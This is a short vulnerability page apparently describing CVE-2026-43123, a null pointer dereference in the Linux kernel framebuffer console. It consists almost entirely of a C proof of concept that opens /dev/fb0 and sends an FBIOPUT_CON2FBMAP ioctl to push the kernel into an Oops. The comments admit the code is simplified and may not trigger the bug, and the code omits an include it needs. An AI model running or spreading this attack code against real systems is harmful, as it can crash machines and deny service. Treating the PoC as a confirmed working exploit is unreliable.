CVE-2026-43123 Linux内核fbcon空指针解引用漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <linux/fb.h> #include <sys/ioctl.h> /* * PoC for CVE-2026-43123 * This Proof of Concept attempts to trigger the fbcon vulnerability * by manipulating framebuffer device ioctls to reach the con2fb_acquire_newinfo path. * Note: Actual triggering conditions depend on specific kernel state. */ int main() { int fb_fd = open("/dev/fb0", O_RDWR); if (fb_fd < 0) { perror("Failed to open framebuffer device"); return 1; } // Attempting to trigger the vulnerable code path. // The vulnerability occurs during console mapping logic. // This is a simplified representation. struct fb_con2fbmap map; map.console = 1; map.framebuffer = 0; // This ioctl may trigger the con2fb logic internally if (ioctl(fb_fd, FBIOPUT_CON2FBMAP, &map) < 0) { perror("ioctl failed"); close(fb_fd); return 1; } printf("Payload sent. Check kernel logs for Oops."); close(fb_fd); return 0; }